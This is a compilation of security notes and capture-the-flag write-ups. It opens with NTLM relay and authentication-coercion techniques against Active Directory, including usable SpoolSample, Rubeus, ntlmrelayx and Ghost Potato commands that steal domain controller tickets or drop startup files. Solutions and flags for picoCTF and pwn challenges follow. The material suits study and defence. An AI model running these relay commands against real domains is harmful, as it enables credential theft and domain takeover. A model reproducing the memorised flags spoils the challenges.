在 NTLM 发起者属性 msDS-AllowedToActOnBehalfOfOtherIdentity 里面添加一条 ace, 可以让任何机器用户和服务用户可以控制该用户 (NTLM 发起者)。
---
### ADCS
在企业环境中部署 Active Directory 证书服务 (AD CS) 可以让系统管理员利用它在不同目录对象之间建立信任。
**相关文章**
- [PetitPotam – NTLM Relay to AD CS](https://pentestlab.blog/2021/09/14/petitpotam-ntlm-relay-to-ad-cs/)
**相关工具**
- [topotam/PetitPotam](https://github.com/topotam/PetitPotam)
- [bats3c/ADCSPwn](https://github.com/bats3c/ADCSPwn)
---
### ADFS
**相关文章**
- [Relaying to ADFS Attacks](https://www.praetorian.com/blog/relaying-to-adfs-attacks/)
**相关工具**
- [praetorian-inc/ADFSRelay](https://github.com/praetorian-inc/ADFSRelay) - Proof of Concept Utilities Developed to Research NTLM Relaying Attacks Targeting ADFS (仅在目标禁用 EPA 的情况下可用)
---
### MS-DFSNM abuse
> DFS
**相关文章**
- [How to Detect DFSCoerce](https://www.praetorian.com/blog/how-to-detect-dfscoerce/)
- [Elevating Privileges with Authentication Coercion Using DFSCoerce](https://www.praetorian.com/blog/how-to-leverage-dfscoerce/)
**相关工具**
- [Wh04m1001/DFSCoerce](https://github.com/Wh04m1001/DFSCoerce)
---
### MS-FSRVP abuse
> File Server Remote VSS Protocol
**相关文章**
- https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-fsrvp
**相关工具**
- [ShutdownRepo/ShadowCoerce](https://github.com/ShutdownRepo/ShadowCoerce) - MS-FSRVP coercion abuse PoC
---
### MS-EFSR abuse
> Microsoft's Encrypting File System Remote protocol
**相关文章**
- https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-efsr
- [Dropping Files on a Domain Controller Using CVE-2021-43893](https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/)
- [译文 | 某场景使用 EFSRPC 在域控制器上任意写文件到域沦陷](https://mp.weixin.qq.com/s/PHyUYvPBH4Ll-ahUgMDk0w)
**相关工具**
- [topotam/PetitPotam](https://github.com/topotam/PetitPotam)
---
### MS-RPRN abuse
> Microsoft’s Print Spooler
- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1
利用 Windows 打印系统远程协议（MS-RPRN）中的一种旧的但是默认启用的方法，在该方法中，域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。
**相关文章**
- https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-rprn
**相关工具**
- https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
- [vletoux/SpoolerScanner](https://github.com/vletoux/SpoolerScanner) - Check if MS-RPRN is remotely available with powershell/c#
- https://github.com/SecureAuthCorp/impacket/blob/master/examples/rpcdump.py
- [leechristensen/SpoolSample](https://github.com/leechristensen/SpoolSample)
**非约束委派+MS-RPRN abuse**
需要以域用户运行 SpoolSample
```
SpoolSample.exe DC DM
```
使 DC 强制访问 DM 认证，同时使用 rubeus 监听来自 DC 的 4624 登录日志
```
Rubeus.exe monitor /interval:1 /filteruser:dc$
```
使用 Rubues 导入 base64 的 ticket
```
.\Rubeus.exe ptt /ticket:base64
```
此时导出的 ticket 就有 DC 的 TGT
---
### 绕过
#### CVE-2015-0005
在签名的情况底下。对于攻击者，由于没有用户 hash，也就没办法生成 keyexchangekey，虽然在流量里面能够拿到 encryptedrandomsessionkey，但是没有 keyexchangekey，也就没办法算出 exportedsession_key，也就没法对流量进行加解密。从而进行 Relay。
攻击者一旦拿到 keyexchangekey 的话，就可以进行 Relay。而 CVE-2015-0005 正好是泄漏了这个 key，因此这里单独拿出来说说。
在域内进行 NTLMRELAY 的时候，如果登录的用户是域用户，这个时候认证服务器本地是没有域用户的 hash 的，这个时候会通过 NETLOGON 把 type 1,type 2,type 3 全部发给域控，让域控去判断。并不是向域控索要域用户的 hash。那在认证之后，由于没有用户的 hash，也没有办法算出 keyexchangekey，这个时候认证服务器就会通过 NETLOGON 去找域控索要 keyexchangekey。从而算出 exportedsession_key。
但是这个漏洞就出在，不是只有认证服务器才能找域控索要 keyexchangekey，只要是机器用户来索要 keyexchangekey，域控都会给，并没有做鉴权。我们拥有一个机器用户的话,任何加入域的计算机都可以针对域控制器验证任何传递身份验证，可以去找域控索要 keyexchangekey，然后配合流量里面的 encryptedrandomsessionkey 算出 exportedsessionkey，使用 exportedsession_key 进行加解密。
该漏洞利用，在 impacket 的 `smbrelayx.py` 已经集成,不需要指定额外的参数,提供一个机器用户以及他的凭据，当发现服务端要求进行签名的时候就会自动调用
---
#### CVE-2019-1040
`Drop the MIC`
此漏洞表明，即使仅删除了 MIC（即使该标志指示其存在），服务器也接受了身份验证。
```bash
# 将 SMB 中继到 LDAP 服务
impacket-ntlmrelayx -t ldaps://192.168.141.132 --remove-mic -smb2support
```
---
### NTLM 反射
#### MS08-068
> MS08-068 修复的是，无法再将 Net-NTLM 哈希值传回到发起请求的机器上，除非进行跨协议转发
在这之前，当拿到用户的 smb 请求之后，最直接的就是把请求 Relay 回用户本身，即 Reflect。从而控制机子本身。漏洞危害特别高。微软在 kb957097 补丁里面通过修改 SMB 身份验证答复的验证方式来防止凭据重播，从而解决了该漏洞。
主机 A 向主机 B(访问 `\\B`) 进行 SMB 认证的时候，将 pszTargetName 设置为 cifs/B, 然后在 type 2 拿到主机 B 发送 Challenge 之后，在 lsass 里面缓存 (Challenge,cifs/B)。
然后主机 B 在拿到主机 A 的 type 3 之后，会去查看 lsass 里面有没有缓存 (Challenge,cifs/b)，如果存在缓存，那么认证失败。
这种情况底下，如果主机 B 和主机 A 是不同的主机的话，那 lsass 里面就不会缓存 (Challenge,cifs/B)。如果是同一台主机的话，那 lsass 里面肯定有缓存，这个时候就会认证失败。
这个补丁在 CVE-2019-1384(Ghost Potato) 被绕过。
---
#### MS16-075
`Hot Potato`
> MS16-075 之后微软修复了 http->smb 的本机 relay
一个典型的 NTLM_RELAY 利用链。
1. 发起 ntlm 请求
1. 配合 NBNS 投毒欺骗和伪造 WPAD 代理服务器, 发起 ntlm 请求请求, 拿到用户的 Net-NTML hash
2. 所有的 HTTP 请求将会被重定向至 “http://localhost/GETHASHESxxxxx”
3. 其中的 xxxxx 表示的是某些唯一标识符。将会影响目标主机中所有的用户，包括管理员账户和系统账户。
2. 拿到 ntlm 请求
1. MS08-068 虽然限制了同台主机之间 smb 到 smb 的 Relay，但是并没有限制从 http 到 smb
2. 配合 NBNS 投毒欺骗和伪造 WPAD 代理服务器拿到的 ntlm 请求说 http 的形式，我们可以直接 relay 到本机的 smb。
3. 服务端是否要求签名
3. 我们 Relay 到的服务端协议是 smb，除非是域内的域控，不然在工作组环节底下，或者域内的域成员机器，都是不要求签名的。
为了绕过这个限制需要将 type2(NTLMSSP_CHALLENGE)Negotiate Flags 中的 0x00004000 设置为 0，但是设置为 0 后会出现另外一个问题那就是 MIC 验证会不通过，为了绕过这个限制又需要把 type2 Negotiate Flags 中的 `Negotiate Always Sign` 设置为 0
---
#### CVE-2019-1384
`Ghost potato`
**相关文章**
- [Ghost Potato](https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html)
- [Ghost potato实际利用](https://www.lz1y.cn/2019/11/19/Ghost-potato%E5%AE%9E%E9%99%85%E5%88%A9%E7%94%A8/index.html)
- [Ghost Potato 复现(Cve-2019-1384)](https://xz.aliyun.com/t/7087)
这个漏洞绕过了 MS08-068 之后，用户不能 relay 回本机的限制。
先来回顾下 MS08-068 是怎么防止 Relay 的。
1. 主机 A 向主机 B(访问 \\B)进行 SMB 认证的时候，将 pszTargetName 设置为 cifs/B, 然后在 type 2 拿到主机 B 发送 Challenge 之后，在 lsass 里面缓存(Challenge,cifs/B)。
2. 然后主机 B 在拿到主机 A 的 type 3 之后，会去 lsass 里面有没有缓存(Challenge,cifs/b)，如果存在缓存，那么认证失败。
3. 这种情况底下，如果主机 B 和主机 A 是不同的主机的话，那 lsass 里面就不会缓存(Challenge,cifs/B)。如果是同一台主机的话，那 lsass 里面肯定有缓存，这个时候就会认证失败。
然而这个缓存 (Challenge,cifs/B) 是有时效性的，这个时间是 300 秒，也就是说 300 秒后，缓存 (Challenge,cifs/B) 就会被清空，这个时候即使主机 A 和主机 B 是同一台主机，那么由于缓存已经被清除，那么去 lsass 里面肯定找不到缓存(Challenge,cifs/B)。
- https://shenaniganslabs.io/files/impacket-ghostpotato.zip
```
cd impacket-ghostpotato
pip uninstall impacket
pip install .
cd examples
python ntlmrelayx.py -t smb://192.168.141.131 -smb2support --gpotato-startup exploit.txt
```
```
responder -I eth0 --lm
```
使用 IE 浏览器进行访问
等待五分十五秒
POC 会自动上传文件到 WIndows 启动目录，用户下次登录时自启动
- [Lz1y/impacket-ghostpotato](https://github.com/Lz1y/impacket-ghostpotato)
```
cd impacket-ghostpotato
pip uninstall impacket
pip install .
cd examples
python ntlmrelayx.py --no-smb-server -smb2support
```
这里需要注意的是这里当然也受到 kb2871997 的限制，所以在 Windows 2012 以及之后的版本中也需要 rid500 的账户才能成功，后续也一样
|
sec-knowleage
|
# Flags
Cryptography, 200 points
## Description:
> What do the flags mean?
## Solution:
At first glance, this looks like a simple substitution cipher. The flag format fits the template, so we can safely assume that the sequence starts with "picoctf". The theory is strengthened by the fact that the blue-white-red flag repeats itself twice, and matches `C`'s location.
This brings us to:
```
picoctf{f??????????ff}
```
Let's assume that the phrase within the curly brackets is meaningful, as most flags are. Since this is a challenge about flags, and the first word starts with an `F`, we can guess that it is `flags` (which makes more sense than `flag`).
This brings us to:
```
picoctf{flagsa??s??ff}
```
My best guess for the flag at this stage was `picoctf{flagsandstuff}`, however that didn't work, and neither did `picoctf{flagsarestuff}`. Several other longshots didn't work either.
Finally, I googled "[flag red diamond](https://www.google.com/search?client=firefox-b-d&q=flag+red+dimond)" which brought me to the wonderful Wikipedia page [Gallery of flags with diamonds](https://commons.wikimedia.org/wiki/Gallery_of_flags_with_diamonds). There, I spotted [ICS flag foxtrot](https://commons.wikimedia.org/wiki/Gallery_of_flags_with_diamonds#/media/File:ICS_Foxtrot.svg) which seemed like a great lead since `foxtrot` is one of those words you only hear when someone is spelling out `F` in a phonetic alphabet.
Searching for `ICS Flags` brings us to the [International maritime signal flags](https://en.wikipedia.org/wiki/International_maritime_signal_flags) Wikipedia entry, where all the flags are listed.
After decoding, the flag turned out to be `PICOCTF{F1AG5AND5TUFF}`.
|
sec-knowleage
|
arj
===
用于创建和管理.arj压缩包
## 补充说明
**arj命令** 是 `.arj` 格式的压缩文件的管理器，用于创建和管理 `.arj` 压缩包。
### 语法
```shell
arj(参数)
```
### 参数
* 操作指令：对 `.arj` 压缩包执行的操作指令；
* 压缩包名称：指定要操作的arj压缩包名称。
|
sec-knowleage
|
## Warmup (pwn, 2p)
warmup for pwning!
Notice: This service is protected by a sandbox, you can only
read the flag at /home/warmup/flag
We were given small [Linux binary](warmup):
```
warmup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=c1791030f336fcc9cda1da8dc3a3f8a70d930a11, stripped
```
### Vulnerability
The file is 724 bytes long.
For such small files, usual strategy is to start by understanding the code in order to identify vulnerability.
We used IDA to disassemble the binary.
Soon we identified classic buffer-overflow in subroutine 0x0804815A:
```
.text:0804815A read_user_data proc near ; CODE XREF: start+2Bp
.text:0804815A
.text:0804815A fd = dword ptr -30h
.text:0804815A addr = dword ptr -2Ch
.text:0804815A len = dword ptr -28h
.text:0804815A buffer = byte ptr -20h
.text:0804815A
.text:0804815A sub esp, 30h
.text:0804815D mov [esp+30h+fd], 0 ; fd
.text:08048164 lea eax, [esp+30h+buffer]
.text:08048168 mov [esp+30h+addr], eax ; addr
.text:0804816C mov [esp+30h+len], 34h ; len
.text:0804816C ; VULNERABILITY: len > sizeof(buffer)
.text:08048174 call sys_read
.text:08048179 mov [esp+30h+fd], 1 ; fd
.text:08048180 mov [esp+30h+addr], offset aGoodLuck ; "Good Luck!\n"
.text:08048188 mov [esp+30h+len], 0Bh ; len
.text:08048190 call sys_write
.text:08048195 mov eax, 0DEADBEAFh
.text:0804819A mov ecx, 0DEADBEAFh
.text:0804819F mov edx, 0DEADBEAFh
.text:080481A4 mov ebx, 0DEADBEAFh
.text:080481A9 mov esi, 0DEADBEAFh
.text:080481AE mov edi, 0DEADBEAFh
.text:080481B3 mov ebp, 0DEADBEAFh
.text:080481B8 add esp, 30h
.text:080481BB retn
.text:080481BB read_user_data endp
```
The identified vulnerability allows for reading 0x14 bytes after end of buffer.
This includes return address from this subroutine that is stored on stack.
We didn't find any other vulnerabilities in provided binary.
### Exploitation Approach
We started the binary and captured process memory map of the process when vulnerable function is executing:
```
# cat /proc/[PID]/maps
08048000-08049000 r-xp 00000000 00:13 924601 /root/ctf/warmup/fix
08049000-0804a000 rw-p 00000000 00:13 924601 /root/ctf/warmup/fix
f77ce000-f77d0000 r--p 00000000 00:00 0 [vvar]
f77d0000-f77d1000 r-xp 00000000 00:00 0 [vdso]
ffe1b000-ffe3c000 rw-p 00000000 00:00 0 [stack]
```
It looks as we don't have any WRITE+EXECUTE pages.
Repeating this second time shows that locations other than binary itself are randomized.
For such cases, typical approach is by using gadgets that may be present in the binary itself.
### Exploit Implementation
The identified vulnerability allows for controlling just 0x10 bytes after the overwritten return address.
Searching for available gadgets indicates that task difficulty is to construct useful ROP chain in controlled buffer.
E.g. if we use subroutine 0x0804811D to read additional data, there are too few available bytes left for opening and reading flag file.
To overcome this limitation we decided to return back to program entry at 0x080480D8 instead.
This allows for filling longer stack area by repeatedly overflowing the buffer, such that each read is lower down the stack.
Once complete ROP is ready, we jump to the first gadget.
The ROP chain has the following steps:
1. read string */home/warmup/flag* into data area of exploited binary
2. write *SYS_open* bytes using 0x08048135 to set eax register
3. execute 0x08048122 that performs syscall using pre-set eax, this will open */home/warmup/flag* for read
4. read content of flag file using data area of exploited binary as buffer, we assume that file opened in previous step uses descriptor 3
5. write content of buffer to standard output
Attached [exploit.py](exploit.py) was used to retrieve flag during CTF.
|
sec-knowleage
|
# Some Assembly Required 1
Category: Web, 70 points
## Solution
We visit the attached website and see the following:
```html
<html>
<head>
<meta charset="UTF-8">
<script src="G82XCw5CX3.js"></script>
</head>
<body>
<h4>Enter flag:</h4>
<input type="text" id="input"/>
<button onclick="onButtonPress()">Submit</button>
<p id="result"></p>
</body>
</html>
```
The Javascript file contains:
```javascript
const _0x402c=['value','2wfTpTR','instantiate','275341bEPcme','innerHTML','1195047NznhZg','1qfevql','input','1699808QuoWhA','Correct!','check_flag','Incorrect!','./JIFxzHyW8W','23SMpAuA','802698XOMSrr','charCodeAt','474547vVoGDO','getElementById','instance','copy_char','43591XxcWUl','504454llVtzW','arrayBuffer','2NIQmVj','result'];const _0x4e0e=function(_0x553839,_0x53c021){_0x553839=_0x553839-0x1d6;let _0x402c6f=_0x402c[_0x553839];return _0x402c6f;};(function(_0x76dd13,_0x3dfcae){const _0x371ac6=_0x4e0e;while(!![]){try{const _0x478583=-parseInt(_0x371ac6(0x1eb))+parseInt(_0x371ac6(0x1ed))+-parseInt(_0x371ac6(0x1db))*-parseInt(_0x371ac6(0x1d9))+-parseInt(_0x371ac6(0x1e2))*-parseInt(_0x371ac6(0x1e3))+-parseInt(_0x371ac6(0x1de))*parseInt(_0x371ac6(0x1e0))+parseInt(_0x371ac6(0x1d8))*parseInt(_0x371ac6(0x1ea))+-parseInt(_0x371ac6(0x1e5));if(_0x478583===_0x3dfcae)break;else _0x76dd13['push'](_0x76dd13['shift']());}catch(_0x41d31a){_0x76dd13['push'](_0x76dd13['shift']());}}}(_0x402c,0x994c3));let exports;(async()=>{const _0x48c3be=_0x4e0e;let _0x5f0229=await fetch(_0x48c3be(0x1e9)),_0x1d99e9=await WebAssembly[_0x48c3be(0x1df)](await _0x5f0229[_0x48c3be(0x1da)]()),_0x1f8628=_0x1d99e9[_0x48c3be(0x1d6)];exports=_0x1f8628['exports'];})();function onButtonPress(){const _0xa80748=_0x4e0e;let _0x3761f8=document['getElementById'](_0xa80748(0x1e4))[_0xa80748(0x1dd)];for(let _0x16c626=0x0;_0x16c626<_0x3761f8['length'];_0x16c626++){exports[_0xa80748(0x1d7)](_0x3761f8[_0xa80748(0x1ec)](_0x16c626),_0x16c626);}exports['copy_char'](0x0,_0x3761f8['length']),exports[_0xa80748(0x1e7)]()==0x1?document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e6):document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e8);}
```
Using an [online deobfuscator](http://jsnice.org/), we get:
```javascript
'use strict';
const _0x402c = ["value", "2wfTpTR", "instantiate", "275341bEPcme", "innerHTML", "1195047NznhZg", "1qfevql", "input", "1699808QuoWhA", "Correct!", "check_flag", "Incorrect!", "./JIFxzHyW8W", "23SMpAuA", "802698XOMSrr", "charCodeAt", "474547vVoGDO", "getElementById", "instance", "copy_char", "43591XxcWUl", "504454llVtzW", "arrayBuffer", "2NIQmVj", "result"];
const _0x4e0e = function(url, whensCollection) {
/** @type {number} */
url = url - 470;
let _0x402c6f = _0x402c[url];
return _0x402c6f;
};
(function(data, oldPassword) {
const toMonths = _0x4e0e;
for (; !![];) {
try {
const userPsd = -parseInt(toMonths(491)) + parseInt(toMonths(493)) + -parseInt(toMonths(475)) * -parseInt(toMonths(473)) + -parseInt(toMonths(482)) * -parseInt(toMonths(483)) + -parseInt(toMonths(478)) * parseInt(toMonths(480)) + parseInt(toMonths(472)) * parseInt(toMonths(490)) + -parseInt(toMonths(485));
if (userPsd === oldPassword) {
break;
} else {
data["push"](data["shift"]());
}
} catch (_0x41d31a) {
data["push"](data["shift"]());
}
}
})(_0x402c, 627907);
let exports;
(async() => {
const findMiddlePosition = _0x4e0e;
let leftBranch = await fetch(findMiddlePosition(489));
let rightBranch = await WebAssembly[findMiddlePosition(479)](await leftBranch[findMiddlePosition(474)]());
let module = rightBranch[findMiddlePosition(470)];
exports = module["exports"];
})();
/**
* @return {undefined}
*/
function onButtonPress() {
const navigatePop = _0x4e0e;
let params = document["getElementById"](navigatePop(484))[navigatePop(477)];
for (let i = 0; i < params["length"]; i++) {
exports[navigatePop(471)](params[navigatePop(492)](i), i);
}
exports["copy_char"](0, params["length"]);
if (exports[navigatePop(487)]() == 1) {
document[navigatePop(494)](navigatePop(476))[navigatePop(481)] = navigatePop(486);
} else {
document[navigatePop(494)](navigatePop(476))[navigatePop(481)] = navigatePop(488);
}
}
;
```
We can de-obfuscate the script a bit more by using the browser developer console to evaluate the different `navigatePop` and `findMiddlePosition` function calls, e.g.:
```javascript
>>> const navigatePop = _0x4e0e;
undefined
>>> navigatePop(484)
"input"
```
We get:
```javascript
(async() => {
const findMiddlePosition = _0x4e0e;
let leftBranch = await fetch("./JIFxzHyW8W");
let rightBranch = await WebAssembly["instantiate"](await leftBranch["arrayBuffer"]());
let module = rightBranch["instance"];
exports = module["exports"];
})();
/**
* @return {undefined}
*/
function onButtonPress() {
const navigatePop = _0x4e0e;
let params = document["getElementById"]("input")["value"];
for (let i = 0; i < params["length"]; i++) {
exports["copy_char"](params["charCodeAt"](i), i);
}
exports["copy_char"](0, params["length"]);
if (exports["check_flag"]() == 1) {
document["getElementById"]("result")["innerHTML"] = "Correct!";
} else {
document["getElementById"]("result")["innerHTML"] = "Incorrect!";
}
}
;
```
So basically, we have a Javascript script that take each character of the user's flag, submits it to a WebAssembly script via `copy_char` and then calls `check_flag` to see if the flag is correct.
Let's download the WebAssembly script:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Some_Assembly_Required_1]
└─$ wget http://mercury.picoctf.net:26318/JIFxzHyW8W -q -O script.wasm
┌──(user@kali)-[/media/sf_CTFs/pico/Some_Assembly_Required_1]
└─$ file script.wasm
script.wasm: WebAssembly (wasm) binary module version 0x1 (MVP)
```
We'll convert it to `wat` for readability:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Some_Assembly_Required_1]
└─$ ~/utils/web/wabt/build/wasm2wat --generate-names script.wasm > script.wat
```
The result:
```wat
(module
(type $t0 (func))
(type $t1 (func (param i32 i32) (result i32)))
(type $t2 (func (result i32)))
(type $t3 (func (param i32 i32)))
(func $__wasm_call_ctors (type $t0))
(func $strcmp (type $t1) (param $p0 i32) (param $p1 i32) (result i32)
(local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i32) (local $l15 i32) (local $l16 i32) (local $l17 i32) (local $l18 i32) (local $l19 i32) (local $l20 i32) (local $l21 i32) (local $l22 i32) (local $l23 i32) (local $l24 i32) (local $l25 i32) (local $l26 i32) (local $l27 i32) (local $l28 i32) (local $l29 i32) (local $l30 i32) (local $l31 i32) (local $l32 i32) (local $l33 i32) (local $l34 i32) (local $l35 i32) (local $l36 i32) (local $l37 i32) (local $l38 i32) (local $l39 i32) (local $l40 i32) (local $l41 i32) (local $l42 i32) (local $l43 i32)
global.get $g0
local.set $l2
i32.const 32
local.set $l3
local.get $l2
local.get $l3
i32.sub
local.set $l4
local.get $l4
local.get $p0
i32.store offset=24
local.get $l4
local.get $p1
i32.store offset=20
local.get $l4
i32.load offset=24
local.set $l5
local.get $l4
local.get $l5
i32.store offset=16
local.get $l4
i32.load offset=20
local.set $l6
local.get $l4
local.get $l6
i32.store offset=12
block $B0
loop $L1
local.get $l4
i32.load offset=16
local.set $l7
i32.const 1
local.set $l8
local.get $l7
local.get $l8
i32.add
local.set $l9
local.get $l4
local.get $l9
i32.store offset=16
local.get $l7
i32.load8_u
local.set $l10
local.get $l4
local.get $l10
i32.store8 offset=11
local.get $l4
i32.load offset=12
local.set $l11
i32.const 1
local.set $l12
local.get $l11
local.get $l12
i32.add
local.set $l13
local.get $l4
local.get $l13
i32.store offset=12
local.get $l11
i32.load8_u
local.set $l14
local.get $l4
local.get $l14
i32.store8 offset=10
local.get $l4
i32.load8_u offset=11
local.set $l15
i32.const 255
local.set $l16
local.get $l15
local.get $l16
i32.and
local.set $l17
block $B2
local.get $l17
br_if $B2
local.get $l4
i32.load8_u offset=11
local.set $l18
i32.const 255
local.set $l19
local.get $l18
local.get $l19
i32.and
local.set $l20
local.get $l4
i32.load8_u offset=10
local.set $l21
i32.const 255
local.set $l22
local.get $l21
local.get $l22
i32.and
local.set $l23
local.get $l20
local.get $l23
i32.sub
local.set $l24
local.get $l4
local.get $l24
i32.store offset=28
br $B0
end
local.get $l4
i32.load8_u offset=11
local.set $l25
i32.const 255
local.set $l26
local.get $l25
local.get $l26
i32.and
local.set $l27
local.get $l4
i32.load8_u offset=10
local.set $l28
i32.const 255
local.set $l29
local.get $l28
local.get $l29
i32.and
local.set $l30
local.get $l27
local.set $l31
local.get $l30
local.set $l32
local.get $l31
local.get $l32
i32.eq
local.set $l33
i32.const 1
local.set $l34
local.get $l33
local.get $l34
i32.and
local.set $l35
local.get $l35
br_if $L1
end
local.get $l4
i32.load8_u offset=11
local.set $l36
i32.const 255
local.set $l37
local.get $l36
local.get $l37
i32.and
local.set $l38
local.get $l4
i32.load8_u offset=10
local.set $l39
i32.const 255
local.set $l40
local.get $l39
local.get $l40
i32.and
local.set $l41
local.get $l38
local.get $l41
i32.sub
local.set $l42
local.get $l4
local.get $l42
i32.store offset=28
end
local.get $l4
i32.load offset=28
local.set $l43
local.get $l43
return)
(func $check_flag (type $t2) (result i32)
(local $l0 i32) (local $l1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32)
i32.const 0
local.set $l0
i32.const 1072
local.set $l1
i32.const 1024
local.set $l2
local.get $l2
local.get $l1
call $strcmp
local.set $l3
local.get $l3
local.set $l4
local.get $l0
local.set $l5
local.get $l4
local.get $l5
i32.ne
local.set $l6
i32.const -1
local.set $l7
local.get $l6
local.get $l7
i32.xor
local.set $l8
i32.const 1
local.set $l9
local.get $l8
local.get $l9
i32.and
local.set $l10
local.get $l10
return)
(func $copy_char (type $t3) (param $p0 i32) (param $p1 i32)
(local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32)
global.get $g0
local.set $l2
i32.const 16
local.set $l3
local.get $l2
local.get $l3
i32.sub
local.set $l4
local.get $l4
local.get $p0
i32.store offset=12
local.get $l4
local.get $p1
i32.store offset=8
local.get $l4
i32.load offset=12
local.set $l5
local.get $l4
i32.load offset=8
local.set $l6
local.get $l6
local.get $l5
i32.store8 offset=1072
return)
(table $T0 1 1 funcref)
(memory $memory 2)
(global $g0 (mut i32) (i32.const 66864))
(global $input i32 (i32.const 1072))
(global $__dso_handle i32 (i32.const 1024))
(global $__data_end i32 (i32.const 1328))
(global $__global_base i32 (i32.const 1024))
(global $__heap_base i32 (i32.const 66864))
(global $__memory_base i32 (i32.const 0))
(global $__table_base i32 (i32.const 1))
(export "memory" (memory 0))
(export "__wasm_call_ctors" (func $__wasm_call_ctors))
(export "strcmp" (func $strcmp))
(export "check_flag" (func $check_flag))
(export "input" (global 1))
(export "copy_char" (func $copy_char))
(export "__dso_handle" (global 2))
(export "__data_end" (global 3))
(export "__global_base" (global 4))
(export "__heap_base" (global 5))
(export "__memory_base" (global 6))
(export "__table_base" (global 7))
(data $d0 (i32.const 1024) "picoCTF{8857462f9e30faae4d037e5e25fee1ce}\00\00"))
```
For starters, we can see the flag at the bottom of the file. Before that, we have three function implementations: `strcmp` which isn't interesting to reverse, `check_flag` and `copy_char`. Since this is the simplest challenge of the `Some Assembly Required` series, let's use it to get acquainted with `wasm`, even though we already have the flag.
Web Assembly can be thought of as a *stack machine*. It's basically composed of instructions that push a value to the stack and/or pop it from the stack to a different location.
For example, a `local.get` instruction pushes a value from a local variable to the stack, a `local.set` instruction pops a value from the stack and pushes it to a local, and an instruction such as `i32.sub` performs an operation on values popped from the stack and pushes the result to the stack. However, following the execution of such a syntax can be somewhat exhausting. We can try to compile the code to C, but some might say the result in this case is even worse:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Some_Assembly_Required_1]
└─$ ~/utils/web/wabt/build/wasm2c script.wasm -o script.c
```
An example function:
```c
static void w2c_copy_char(u32 w2c_p0, u32 w2c_p1) {
u32 w2c_l2 = 0, w2c_l3 = 0, w2c_l4 = 0, w2c_l5 = 0, w2c_l6 = 0;
FUNC_PROLOGUE;
u32 w2c_i0, w2c_i1;
w2c_i0 = w2c_g0;
w2c_l2 = w2c_i0;
w2c_i0 = 16u;
w2c_l3 = w2c_i0;
w2c_i0 = w2c_l2;
w2c_i1 = w2c_l3;
w2c_i0 -= w2c_i1;
w2c_l4 = w2c_i0;
w2c_i0 = w2c_l4;
w2c_i1 = w2c_p0;
i32_store((&w2c_memory), (u64)(w2c_i0) + 12, w2c_i1);
w2c_i0 = w2c_l4;
w2c_i1 = w2c_p1;
i32_store((&w2c_memory), (u64)(w2c_i0) + 8, w2c_i1);
w2c_i0 = w2c_l4;
w2c_i0 = i32_load((&w2c_memory), (u64)(w2c_i0) + 12u);
w2c_l5 = w2c_i0;
w2c_i0 = w2c_l4;
w2c_i0 = i32_load((&w2c_memory), (u64)(w2c_i0) + 8u);
w2c_l6 = w2c_i0;
w2c_i0 = w2c_l6;
w2c_i1 = w2c_l5;
i32_store8((&w2c_memory), (u64)(w2c_i0) + 1072, w2c_i1);
goto w2c_Bfunc;
w2c_Bfunc:;
FUNC_EPILOGUE;
}
```
The best option seems to be de-compiling to pseudo-code:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Some_Assembly_Required_1]
└─$ ~/utils/web/wabt/build/wasm-decompile script.wasm -o script.dcmp
```
The result:
```
export memory memory(initial: 2, max: 0);
global g_a:int = 66864;
export global input:int = 1072;
export global dso_handle:int = 1024;
export global data_end:int = 1328;
export global global_base:int = 1024;
export global heap_base:int = 66864;
export global memory_base:int = 0;
export global table_base:int = 1;
table T_a:funcref(min: 1, max: 1);
data d_picoCTF8857462f9e30faae4d037(offset: 1024) =
"picoCTF{8857462f9e30faae4d037e5e25fee1ce}\00\00";
export function wasm_call_ctors() {
}
export function strcmp(a:int, b:int):int {
var c:int = g_a;
var d:int = 32;
var e:int = c - d;
e[6]:int = a;
e[5]:int = b;
var f:int = e[6]:int;
e[4]:int = f;
var g:int = e[5]:int;
e[3]:int = g;
loop L_b {
var h:ubyte_ptr = e[4]:int;
var i:int = 1;
var j:int = h + i;
e[4]:int = j;
var k:int = h[0];
e[11]:byte = k;
var l:ubyte_ptr = e[3]:int;
var m:int = 1;
var n:int = l + m;
e[3]:int = n;
var o:int = l[0];
e[10]:byte = o;
var p:int = e[11]:ubyte;
var q:int = 255;
var r:int = p & q;
if (r) goto B_c;
var s:int = e[11]:ubyte;
var t:int = 255;
var u:int = s & t;
var v:int = e[10]:ubyte;
var w:int = 255;
var x:int = v & w;
var y:int = u - x;
e[7]:int = y;
goto B_a;
label B_c:
var z:int = e[11]:ubyte;
var aa:int = 255;
var ba:int = z & aa;
var ca:int = e[10]:ubyte;
var da:int = 255;
var ea:int = ca & da;
var fa:int = ba;
var ga:int = ea;
var ha:int = fa == ga;
var ia:int = 1;
var ja:int = ha & ia;
if (ja) continue L_b;
}
var ka:int = e[11]:ubyte;
var la:int = 255;
var ma:int = ka & la;
var na:int = e[10]:ubyte;
var oa:int = 255;
var pa:int = na & oa;
var qa:int = ma - pa;
e[7]:int = qa;
label B_a:
